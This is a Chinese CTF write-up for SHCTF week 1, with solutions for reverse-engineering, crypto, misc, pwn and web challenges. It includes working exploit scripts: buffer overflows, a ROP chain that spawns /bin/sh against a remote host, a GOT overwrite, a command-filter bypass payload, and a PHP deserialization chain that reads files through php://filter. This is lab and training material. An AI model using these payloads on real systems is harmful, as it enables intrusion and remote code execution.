shctf week1 wp

发布时间 2023-10-15 20:44:47作者: nyyyddddn

RE

ez_asm

程序的逻辑大概是把输入的数据flag按字节 ^ 0x1E - 0x0A一遍,然后输出,所以只需要置反一下先 + 0x0A 然后再 ^ 0x1e就能求出flag

.text:0000000000401566                               loc_401566:                             ; CODE XREF: main+65↓j
.text:0000000000401566 8B 45 FC                      mov     eax, [rbp+var_4]
.text:0000000000401569 48 98                         cdqe
.text:000000000040156B 48 8D 15 AE 1A 00 00          lea     rdx, flag                       
.text:0000000000401572 0F B6 04 10                   movzx   eax, byte ptr [rax+rdx]
.text:0000000000401576 83 F0 1E                      xor     eax, 1Eh
.text:0000000000401579 89 C1                         mov     ecx, eax
.text:000000000040157B 8B 45 FC                      mov     eax, [rbp+var_4]
.text:000000000040157E 48 98                         cdqe
.text:0000000000401580 48 8D 15 99 1A 00 00          lea     rdx, flag                      
.text:0000000000401587 88 0C 10                      mov     [rax+rdx], cl
.text:000000000040158A 8B 45 FC                      mov     eax, [rbp+var_4]
.text:000000000040158D 48 98                         cdqe
.text:000000000040158F 48 8D 15 8A 1A 00 00          lea     rdx, flag                      
.text:0000000000401596 0F B6 04 10                   movzx   eax, byte ptr [rax+rdx]
.text:000000000040159A 83 E8 0A                      sub     eax, 0Ah
.text:000000000040159D 89 C1                         mov     ecx, eax
.text:000000000040159F 8B 45 FC                      mov     eax, [rbp+var_4]
.text:00000000004015A2 48 98                         cdqe
.text:00000000004015A4 48 8D 15 75 1A 00 00          lea     rdx, flag                      
.text:00000000004015AB 88 0C 10                      mov     [rax+rdx], cl
.text:00000000004015AE FF 45 FC                      inc     [rbp+var_4]
.text:00000000004015AE
.text:00000000004015B1
.text:00000000004015B1                               loc_4015B1:                             ; CODE XREF: main+14↑j
.text:00000000004015B1 83 7D FC 27                   cmp     [rbp+var_4], 27h ; '''
.text:00000000004015B5 7E AF                         jle     short loc_401566
.text:00000000004015B5
.text:00000000004015B7 48 8D 15 62 1A 00 00          lea     rdx, flag                      
.text:00000000004015BE 48 8D 0D 3B 2A 00 00          lea     rcx, Format                     ; "%s"
.text:00000000004015C5 E8 76 15 00 00                call    printf
.text:00000000004015C5
.text:00000000004015CA B8 00 00 00 00                mov     eax, 0
.text:00000000004015CF 48 83 C4 30                   add     rsp, 30h
.text:00000000004015D3 5D                            pop     rbp
.text:00000000004015D4 C3                            retn
.text:00000000004015D4
flag = "nhuo[M`7mc7uhc$7midgbTf`7`$7%#ubf7 ci5Y"

decoded_flag = ""
for char in flag:
    decoded_byte = chr((ord(char) + 0x0A) ^ 0x1E)
    decoded_flag += decoded_byte
print(decoded_flag)

easy_re

程序的逻辑是将输入的数据,每个字节高低位置换,然后和一个数组cmp,如果是相同的就是正确flag,所以我们只需要把des数组按字节拆分,然后每个字节都高低位置换,然后转ascii编码就是flag

for ( i = 0; i < v5; ++i )
    Str[i] = (Str[i] >> 4) | (16 * Str[i]);
des = [
    0x66, 0xC6, 0x16, 0x76, 0xB7, 0x45, 0x27, 0x97, 0xF5, 0x47, 
    0x03, 0xF5, 0x37, 0x03, 0xC6, 0x67, 0x33, 0xF5, 0x47, 0x86, 
    0x56, 0xF5, 0x26, 0x96, 0xE6, 0x16, 0x27, 0x97, 0xF5, 0x07, 
    0x27, 0x03, 0x26, 0xC6, 0x33, 0xD6, 0xD7, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00
]

def convert(byte):
    l , h = byte & 0x0F , byte & 0xF0
    reversed_byte = (l << 4) | (h >> 4)  # 交换高低位
    return chr(reversed_byte)

flag = ''.join([convert(byte) for byte in des if byte != 0x00])

print(flag)

signin

flag{flag1sinarray}

easy_math

程序的逻辑是 将输入按7字节一个块 拆分,然后做一个很复杂的数学公式的判断,可以用z3来解方程,算出这六个块,然后把这六个块转成十六进制拼接就拿到flag了

for i in range(6):
	s=""
	for j in flag[i*7:i*7+7]:
		s+=hex(ord(j))[2:]
	l.append(int(s,16))
(593*l[0] + 997*l[1] + 811*l[2] + 258*l[3] + 829*l[4] + 532*l[5])== 0x5b8e0aef71d34ff43 and \
(605*l[0] + 686*l[1] + 328*l[2] + 602*l[3] + 695*l[4] + 576*l[5])== 0x551a262360964ef7f and \
(373*l[0] + 512*l[1] + 449*l[2] + 756*l[3] + 448*l[4] + 580*l[5])== 0x49d158a5657d6931c and \
(560*l[0] + 635*l[1] + 422*l[2] + 971*l[3] + 855*l[4] + 597*l[5])== 0x625568d5abbabf4f3 and \
(717*l[0] + 507*l[1] + 388*l[2] + 925*l[3] + 324*l[4] + 524*l[5])== 0x50ee0c025e70e3c23 and \
(312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5])== 0x40e735f8aa2815f65):

需要先用z3解方程,求出6个长度7字节的块是多少,然后转hex一下,就好了

from z3 import *

l = [Int(f'l_{i}') for i in range(6)]

constraints = [
    593*l[0] + 997*l[1] + 811*l[2] + 258*l[3] + 829*l[4] + 532*l[5] == 0x5b8e0aef71d34ff43,
    605*l[0] + 686*l[1] + 328*l[2] + 602*l[3] + 695*l[4] + 576*l[5] == 0x551a262360964ef7f,
    373*l[0] + 512*l[1] + 449*l[2] + 756*l[3] + 448*l[4] + 580*l[5] == 0x49d158a5657d6931c,
    560*l[0] + 635*l[1] + 422*l[2] + 971*l[3] + 855*l[4] + 597*l[5] == 0x625568d5abbabf4f3,
    717*l[0] + 507*l[1] + 388*l[2] + 925*l[3] + 324*l[4] + 524*l[5] == 0x50ee0c025e70e3c23,
    312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5] == 0x40e735f8aa2815f65
]

solver = Solver()

for constraint in constraints:
    solver.add(constraint)

if solver.check() == sat:
    m = solver.model()
    flag = [m[l[i]].as_long() for i in range(6)]
else:
    flag = "None flag"

print(flag)

flag_solution = ""
for num in flag:
    hex_str = hex(num)[2:] #去掉0x

    for i in range(0, len(hex_str), 2):
        char_code = int(hex_str[i:i+2], 16) # 取一个字节
        flag_solution += chr(char_code)

print(flag_solution)

ez_apk

看了一下encode里面的过程,有一些关键的数256 58之类的,网上搜索了一下发现是base58编码,索引表不是标准的,找一个base58decode的脚本修改一下索引表接触flag

def b58encode(tmp: str) -> str:
    tmp = list(map(ord, tmp))
    temp = tmp[0]
    base58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
    for i in range(len(tmp) - 1):
        temp = temp * 256 + tmp[i + 1]
    tmp = []
    while True:
        tmp.insert(0, temp % 58)
        temp = temp // 58
        if temp == 0:
            break
    temp = ""
    for i in tmp:
        temp += base58[i]
    return temp

def b58decode(tmp: str) -> str:
    import binascii
    base58 = "9LfnoVpi1HrzBSKxhNFeyY745R2g3QmqsTCZJuDvcMdkE8wPGbUXajtAW6"
    temp = []
    for i in tmp:
        temp.append(base58.index(i))
    tmp = temp[0]
    for i in range(len(temp) - 1):
        tmp = tmp * 58 + temp[i + 1]
    return binascii.unhexlify(hex(tmp)[2:].encode("utf-8")).decode("UTF-8")

print(b58decode("5TAYhycAPT1aAd535TGdWYQ8CvfoRjErGEreqhDpqv1LydTqd3mxuK2hhUp9Pws3u9mq6eX"))

seed

srand初始化了之后,rand的值是固定的,ida中看不到seed是多少,动调后发现seed是0,然后先把十个随机数 %256 算出来,然后异或置反一下就能拿到flag了

#include <iostream>
#include <stdlib.h>

using namespace std;
int main() {
    srand(0);
	for (size_t i = 0; i < 10; i++)
	{
		cout << rand() % 255 << endl;
	}
    return 0;
}

异或置反一下拿到 flag

flag = [
    0x40, 0x29, 0x28, 0xE9, 0xC2, 0x04, 0xA4, 0xED, 0x9F, 0x53,
    0x5F, 0x75, 0x3C, 0xD1, 0xCD, 0x2B, 0xA8, 0xC4, 0x89, 0x69,
    0x15, 0x21, 0x16, 0xEF, 0xD7, 0x27, 0x92, 0xDF, 0xCA, 0x53,
    0x5F, 0x2A, 0x3C, 0xD1, 0xCE, 0x03, 0xA3, 0xEF, 0xA5, 0x78,
    0x16, 0x1A, 0x2D, 0xE1, 0xC4
]


xor = [38, 69, 73, 142, 185, 67, 205, 155, 250, 12]
decrypted_flag = [flag[i] ^ xor[i % 10] for i in range(45)]

for i in decrypted_flag:
  print(chr(i),end="")

PWN

nc

nc进去拿到flag

hard nc

ls -al 发现有个隐藏的.gift , cat .gift

flag{fd35e315-6683-4d

gift2目录下有个base64编码的字符串,在线解码拼接拿到flag

flag{fd35e315-6683-4d4c-9990-59bdd345d2d6}

四则计算器

strlen是根据字符串结尾\x00来检测长度的,所以填充\x00就能绕过strlen,有一个backdoor函数,只需要控制rbp让程序跳到backdoor函数就好了

from pwn import *

elf = context.binary = ELF('./alloc')
context.log_level = 'debug'

ip = "112.6.51.212"
port = 32519
p = remote(ip,port)
# p = process()

p.recvuntil(b"--->")
# gdb.attach(p)
paylaod = b'\x00' * (0x32 + 8)
paylaod += p64(0x4015E4)

p.sendline(paylaod)#

p.recvline()

p.interactive()
flag{189e8ff7-5f13-4195-a4b0-f58ed58879b9}

口算题

先nc 个十几次,看看有什么运算,\xc3\x97 \xc3\xb7查了一下是utf8的乘除法,所以接收数据的时候需要decode(utf8)一下,做这个题的时候卡了有些久,原因是数据格式处理的问题,还有编码问题吧,算完200个表达式后就能直接拿到flag了

- + ** % \xc3\x97 (x) \xc3\xb7 (÷)
from pwn import *
import re

def add(x, y):
    return x + y

def sub(x, y):
    return x - y

def mul(x, y):
    return x * y

def div(x, y):
    return x / y

def mod(x, y):
    return x % y

def pow_func(x, y):
    return x ** y

operator_functions = {
    '+': add,
    '-': sub,
    '×': mul,
    '÷': div,
    '%': mod,
    '**': pow_func
}

# context.log_level = 'debug'


ip = "112.6.51.212"
port = 31077
p = remote(ip,port)
# p = process()

pattern = r'(\d+)\s*([\+\-\*\%×÷]+)\s*(\d+)'

p.recvuntil(b"Press Enter to start...")
p.sendline(b'')

for i in range(200):

    line = p.recvline() ; print(line)

    expression = p.recvline() ; expression = expression.decode('utf-8')
    match = re.match(pattern, expression)
    a , operator , b = int(match.group(1)) , match.group(2) , int(match.group(3))

    result = operator_functions[operator](a,b) ; result = str(result).encode('ascii')
    p.sendline(result)
    p.recvline()

p.interactive()

ropchain

查了一下ropgadget有个ropchain可以自动生成rop链,read 768ll这个很适合用ropchain来做,然后手搓的话,咱看了下是ret2syscall但是没有/bin/sh字符,所以要输入/bin/sh字符然后算这个字符的位置

from pwn import *

# elf = context.binary = ELF('./simplerop')
context.log_level = 'debug'


ip = "112.6.51.212"
port = 31919
p1 = remote(ip,port)
# p1 = process()

p = b'a' * (32 + 8)
from struct import pack
p += b''
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000401858) # pop rdx ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401243) # syscall

p1.recvuntil(b":")
p1.sendline(p) 
p1.interactive()

showshowway

溢出修改y的值就能 system bin sh

from pwn import *

elf = context.binary = ELF('./showshowway')
context.log_level = 'debug'


ip = "112.6.51.212"
port = 30742
p = remote(ip,port)
# p = process()

line = p.recvline() ; print(line)
line = p.recvline() ; print(line)

payload = b'a' * (64) + b'showshowway'

p.sendline(payload)
p.interactive()

babystack

有个$0字符,system($0)等效于system("sh"),所以只需要把$0字符的地址传进去就能getshell了

from pwn import *

elf = context.binary = ELF('./babystack')
context.log_level = 'debug'

ip = "112.6.51.212"
port = 31088
p = remote(ip,port)
# p = process()

line = p.recvline() ; print(line)
line = p.recvline() ; print(line)

ret = 0x0400581
pop_rdi_ret = 0x400833
gadget1 = 0x400858 #$0
system = 0x4005D0

payload = b'a' * (0x20 + 8)
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload +=p64(gadget1)
payload +=p64(system)

p.sendline(payload)

p.interactive()

pkmon

https://blog.csdn.net/tabactivity/article/details/126660974

存在一个任意地址写的函数,可以往put_got写入后门函数的地址,来劫持程序流程,Partial RELRO got表还是可以写的

__int64 vuln()
{
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  puts("Congratulations on becoming a Pokemon Master");
  puts("Now come up with a name for your Pokemon");
  __isoc99_scanf("%d", &v1);
  return __isoc99_scanf("%8s", 8 * v1 + 6295712LL);
}
from pwn import *

context.binary = elf = ELF('./pkmon')
context.log_level = 'debug'

# p = process()
ip = "112.6.51.212"
port =31043
p =remote(ip,port)

line = p.recvline() ; print(line)
line = p.recvline() ; print(line)

p.send(b'-17')
p.send(p64(0x40072B))

# p.recvline()

p.interactive()

猜数游戏

可以用ctypes调用libc中的rand scand time函数,然后send过去就拿到flag了

from pwn import *
import ctypes

context.binary = elf = ELF('./guess')
context.log_level = 'debug'

libc = ctypes.CDLL('libc.so.6')

# p = process()
ip = "112.6.51.212"
port = 31130
p =remote(ip,port)

#初始化函数返回值
libc.time.restype = ctypes.c_long # 0LL
libc.srand.argtypes = [ctypes.c_uint]

#调用函数
time_value = ctypes.c_longlong(0)
seed = libc.time(ctypes.byref(time_value))
libc.srand(seed)
rand_result = libc.rand()

line = p.recvline() ; print(line)
line = p.recvline() ; print(line)

p.sendline(b'11')
p.sendline(str(rand_result))

p.interactive()

crypto

凯撒大帝

凯撒密码 ,偏移10

https://www.lddgo.net/encrypt/caesar-cipher

pvkq{mredsrkyxkx}
flag{chutihaonan}

okk

https://www.splitbrain.org/services/ook

flag{123456789}

熊斐特

埃特巴什码

http://www.hiencode.com/atbash.html

flag{atbash cipher}

进制

十六进制解码utf8 两次得到flag

https://www.toolhelper.cn/EncodeDecode/EncodeDecode

flag{ahfkjlhkah}

迷雾重重

摩斯在线解密,转换一下小写还有加括号拿到flag

https://www.lddgo.net/encrypt/morse

flag{morse_is_very_fun}

really_ez_rsa

有p q,求phi n,然后用phi n和e求逆元d,用c d e解密

from sympy import mod_inverse
from Crypto.Util.number import *

p = 217873395548207236847876059475581824463
q = 185617189161086060278518214521453878483
e = 65537
data = 6170206647205994850964798055359827998224330552323068751708721001188295410644

n = p * q
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)
m = pow(data, d, n)
print(long_to_bytes(m))

小兔子可爱捏

宇宙的答案是什么,搜了一下是 42,用42做秘钥,然后解密得到flag

https://www.sojson.com/encrypt_rabbit.html

flag{i_love_technology}

Crypto_Checkin

好抽象这个题卡了好久,base85 ascii标准 -> base64 -> base32 -> hex_to_ascii、

import base64
flag = "QZZ|KQbjRRS8QZRQdCYwR4_DoQ7~jyO>0t4R4__aQZQ9|Rz+k_Q!r#mR90+NR4_4NR%>ipO>0s{R90|SQhHKhRz+k^S8Q5JS5|OUQZO}CQfp*dS8P&9R8>k?QZYthRz+k_O>0#>"
flag = base64.b85decode(flag).decode('utf-8')
flag = base64.b64decode(flag).decode('utf-8')
flag = base64.b32decode(flag).decode('utf-8')
flag = bytes.fromhex(flag)
print(flag)

what is m

bytes_to_long只需要long_to_bytes就好了

from Crypto.Util.number import *

flag = 7130439814055607187529110950207724288724449076790226803689057377620436523581436082087095244180930294506876218028179174970274192227015978318250987106210044963474950687384725417375690783081597
print(long_to_bytes(flag))

难言的遗憾

搜索特征 清政府 编码规则,然后搜到了中文电码,然后用在线解密解出

https://www.qqxiuzi.cn/bianma/dianbao.php

flag{一天不学高数我就魂身难受}

残缺的md5

爆破三个?位置就好了

import hashlib
import itertools

flag_string = "KCLWG?K8M9O3?DE?84S9"
flag_md5 = "F0AF????B1F463????F7AE???B2AC4E6"

def replace_placeholders(string, combination):
    for char in combination:
        string = string.replace("?", char, 1)
    return string


def is_similar(hash1, hash2):
    for c1, c2 in zip(hash1, hash2):
        if c2 != "?" and c1 != c2:
            return False
    return True


for combination in itertools.product("ABCDEFGHIJKLMNOPQRSTUVWXYZ", repeat=flag_string.count("?")):
    md5_hash = hashlib.md5(replace_placeholders(flag_string, combination).encode()).hexdigest().upper()
    if is_similar(md5_hash, flag_md5):
        print(f"flag{{{md5_hash}}}")

黑暗之歌

盲文解密 -> base64(utf8)解密 -> 音符解密

http://www.atoolbox.net/Tool.php?Id=837 盲文解密

https://blog.csdn.net/mochu7777777/article/details/109450674

base64解码 utf8

https://www.toolhelper.cn/EncodeDecode/Base64EncodeDecode

音符加解密

https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue

flag{b2cc-9091-8a29}

佛说:只能四天

新佛曰-> 社会主义核心价值观编码 -> 栅栏(4) -> 凯撒(偏移3) -> 十六进制转字符串

https://blog.csdn.net/shshss64/article/details/127032395

http://hi.pcmoe.net/Buddha.html

https://www.zaixianjisuan.com/jiamijiemi/shehuizhuyihexinjiazhiguanjiami.html

https://www.qqxiuzi.cn/bianma/zhalanmima.php

https://www.qqxiuzi.cn/bianma/kaisamima.php

https://www.sojson.com/hexadecimal.html

flag{mission_accomplish}

misc

签到题

base64 decode两次得到flag

flag{this_is_flag}

message

https://www.sojson.com/hexadecimal.html

SHCTF{ba978405-b1c8-847c-8e69-f62177e4c087}

可爱的派蒙捏

010看末尾有两个文件 binwalk -e 提取出txt1 txt2两个文件,然后文本比较提取不相同的字符拼接,发现有 f l a g这样的,然后按步进2去迭代一遍得到flag

dfdl8aegg{540ecb9f0342d7e9f06582d838dfbc4ab9d4l7fa8}
with open("txt1.txt", "r", encoding="utf-8") as f1:
    txt1 = f1.read()

with open("txt2.txt", "r", encoding="utf-8") as f2:
    txt2 = f2.read()

diff_str_complete = []


for char1, char2 in zip(txt1, txt2):
    if char1 != char2:
        diff_str_complete.append(char1)
        diff_str_complete.append(char2)


diff_str_complete = ''.join(diff_str_complete)
print(diff_str_complete)

for i in range(1,len(diff_str_complete),2):
    print(diff_str_complete[i],end="")

web

babyRCE

https://www.freebuf.com/articles/web/330736.html

https://blog.csdn.net/qq_43427482/article/details/109725672

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

可以用\来拼接字符串 空格用${IFS}绕过

?rce=c\at${IFS}/fl\ag

生成你的邀请函吧~

https://blog.csdn.net/qq_32599479/article/details/101420501

这里有解决方法,用postman设置post请求方式,然后请求下面的地址

http://112.6.51.212:31587/generate_invitation

在body那选择json然后发送

{
"name": "nydn",  
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=1959759892&spec=640&img_type=jpg"
}

拿到flag

飞机大战

这里有个胜利的函数 查了一下atob是base64解码的函数,base64解密拿到flag

function won(){
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0078\u0059\u0032\u0046\u006a\u004d\u0054\u006b\u0035\u004e\u0043\u0031\u0069\u004f\u0057\u0055\u0079\u004c\u0054\u0051\u0078\u0059\u006a\u0051\u0074\u0059\u006d\u0049\u007a\u005a\u0043\u0031\u006b\u0059\u007a\u004e\u006b\u004e\u006a\u0045\u0034\u004d\u006a\u0055\u0032\u004d\u0032\u0052\u0039\u000a";
	alert(atob(galf));
}
import base64
flag = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0078\u0059\u0032\u0046\u006a\u004d\u0054\u006b\u0035\u004e\u0043\u0031\u0069\u004f\u0057\u0055\u0079\u004c\u0054\u0051\u0078\u0059\u006a\u0051\u0074\u0059\u006d\u0049\u007a\u005a\u0043\u0031\u006b\u0059\u007a\u004e\u006b\u004e\u006a\u0045\u0034\u004d\u006a\u0055\u0032\u004d\u0032\u0052\u0039"

flag = base64.b64decode(flag).decode('utf8')
print(flag)
flag{1cac1994-b9e2-41b4-bb3d-dc3d6182563d}

登录就给flag

https://blog.csdn.net/qq_46634561/article/details/120019738

爆破admin 用弱口令字典,得出密码是password,登录拿到flag

flag{4ebf327905288fca947a}

1zzphp

第一个preg_math可以用数组绕过,第二个preg_match有递归限制,可以用超长的垃圾数据去绕开preg_match

https://www.laruence.com/2010/06/08/1579.html

 <?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
}  
import requests
url='http://112.6.51.212:30345/?num[]=1'
data={
    'c_ode':'a'*1020000+'2023SHCTF'
}
r=requests.post(url=url,data=data).text
print(r)

ez_serialize

这里的结尾是A ,A有一个include,可以通过php伪协议把flag读出来,然后__invoke的触发条件是class a被当做函数调用,d正好满足这个性质,但是需要触发 get魔术方法,get触发的条件是访问一个不存在的属性,c又满足这个性质,然后b中的preg_match 能满足这个性质

所以链的顺序是 B -> C -> D -> A

<?php
highlight_file(__FILE__);

class A{
  public $var_1;
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?> 
<?php
highlight_file(__FILE__);

class A
{
    public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class B
{
    public $q;
    public function __construct()
    {
        $this->q = new C();
    }
}
class C
{
    public $var;
    public $z;
    public function __construct()
    {
        $this->z = new D();
    }
}
class D
{
    public $p;
    public function __construct()
    {
        $this->p = new A();
    }
}

$payload = new B();
echo urlencode(serialize($payload));